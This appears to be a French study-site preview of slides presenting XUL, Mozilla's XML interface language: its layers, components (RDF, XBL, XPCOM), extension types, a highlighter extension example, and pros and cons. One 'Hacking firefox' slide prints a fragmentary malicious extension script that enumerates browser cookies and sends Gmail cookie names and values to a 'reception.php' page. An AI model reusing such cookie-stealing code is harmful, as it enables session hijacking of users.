XUL, XML user interface langage, XML-Based User Interface Language, projet Mozilla, firefox
- XUL est un langage XML permettant de définir l'interface d'une application. Le fait de définir la structure d'une interface graphique dans un document XML permet son
utilisation, indépendamment de l'environnements (Windows, Linux,...).
- Le XUL est l'acronyme de XML-Based User Interface Language, et est issu du projet Mozilla, conçu pour faciliter le développement et l'interopérabilité de leur application dans une optique multi plate-forme.
- XUL sépare l'interface en 4 couches: le contenu, correspondant à la structure et aux éléments de l'interface, l'apparence, le comportement, les informations.
[...] XUL n'est pas «Web 2.0 XUL n'est pas AJAX XUL n'est pas «social web» XUL n'est pas particulièrement récent Mozilla ne réinvente rien (XML, CSS, JS, XUL n'est pas fondé sur un langage hype comme Ruby ou Python Mais que lui reste-t-il ? Une nouvelle conception du client riche, avec le framework Mozilla 3 Introduction Qu'est ce que XUL ? XUL est un langage XML permettant de définir l'interface d'une application. Le fait de définir la structure d'une interface graphique dans un document XML permet son utilisation, indépendamment de l'environnements (Windows, Linux Le XUL est l'acronyme de XML-Based User Interface Language, et est issu du projet Mozilla, conçu pour faciliter le développement et l'interopérabilité de leur application dans une optique multi plate-forme. [...]
[...] Une nouvelle conception du client riche, avec le framework Mozilla 6 Se familiariser avec le langage Exemple concret . Exemple ! Une nouvelle conception du client riche, avec le framework Mozilla 7 Composant XUL RDF : Resource Description Framework XBL : eXtensible Binding Language XTF : eXtensible Tag Framework Overlay AOM : Application Object Model XPCOM : cross Platform Component Object Model XPConnect Une nouvelle conception du client riche, avec le framework Mozilla 8 Application XUL Type d'application Extension Firefox Application XULRunner autonome Paquetage XUL Application XUL distante Une nouvelle conception du client riche, avec le framework Mozilla 9 Application XUL Marqueur ligne Il s'agit d'une extension firefox pour mettre en surbrillance le texte sélectionné comme un marqueur : Ajoute un nouveau menu "Marqueur ligne" pour le menu contextuel. [...]
[...] Une nouvelle conception du client riche, avec le framework Mozilla 15 Avantages : Portabilité Compréhension par tous les environnements Inconvénients: Nécessiter un navigateur Mozilla (moteur Gecko) Pas compatible avec Internet explorer Une nouvelle conception du client riche, avec le framework Mozilla 16 Conclusion XUL est ancien est n'est utilisé que peu pour l'instant, mais il semble que cette technologie puisse apporter beaucoup dans le monde du développement, pour son interopérabilité face aux différents environnements existants. Le XUL pourrait dans l'avenir devenir une des solutions standard pour la création d'application web et autres . [...]
[...] Pour séparer une page, vous pouvez utiliser le menunouvelle conception du client riche, des boutons apparaissant Une contextuel de Firefox, ou avec le framework Mozilla lorsque vous survolez un des quatre bords de la fenêtre 11 Hacking firefox Le maillon faible . Une nouvelle conception du client riche, avec le framework Mozilla 12 Hacking firefox Script malveillants function getCookies(){ var cookieManager = .getService(Components.interfaces.nsICookieManager); var iter = cookieManager.enumerator; while (iter.hasMoreElements()){ var cookie = iter.getNext(); if (cookie instanceof Components.interfaces.nsICookie){ if (cookie.host "www.gmail.com") window.location.href= 'reception.php?name='+cookie.name+'&value='+ cookie.value+' . [...]
[...] XUL sépare l'interface en 4 couches: le contenu, correspondant à la structure et aux éléments de l'interface, l'apparence, le comportement, les informations. Une nouvelle conception du client riche, avec le framework Mozilla 4 Introduction Que peut-on réalisé avec XUL? XUL permet la création de la plupart des éléments d'une interface moderne usuelle et est assez générique pour être utilisé pour des besoins précis de certains périphériques, et assez puissant pour la réalisation d'interfaces évoluées et plus complexes. XUL vous permettra de créer des éléments typique de formulaire tels que les champs de texte et les cases à cocher, mais également la création de barres d'outils, menus, boites de dialogue, arbres hiérarchiques ou tabulaires Le contenu pourra être géré à partir du contenu du fichier XUL ou à partir d'une source de données externe au Une nouvelle conception du client riche, fichier. [...]
Source aux normes APA
Pour votre bibliographieLecture en ligne
avec notre liseuse dédiée !Contenu vérifié
par notre comité de lecture